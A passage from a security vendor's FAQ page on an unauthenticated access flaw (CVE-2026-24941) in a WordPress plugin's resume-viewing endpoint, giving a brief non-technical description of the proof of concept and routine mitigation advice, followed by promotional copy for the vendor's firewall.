The proof of concept illustrates how an attacker can access the resume viewing endpoint without authentication by sending HTTP requests. It shows that no special parameters are needed, making it easy to exploit this vulnerability.
What should I do if I cannot update the plugin immediately?
Temporary mitigation measures
If you cannot update the plugin immediately, consider disabling the resume viewing functionality or restricting access to the affected endpoints through server configurations or firewall rules until you can apply the patch.
Are there any other security measures I should take?
Enhancing overall security
In addition to updating the plugin, ensure that your WordPress installation and all other plugins are up to date. Regularly review user permissions and implement security plugins that monitor for unauthorized access.
Where can I find more information about this vulnerability?
Resources for further reading
More information about CVE-2026-24941 can be found on the official CVE database, security advisories from the plugin developers, and security-focused websites that track vulnerabilities.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations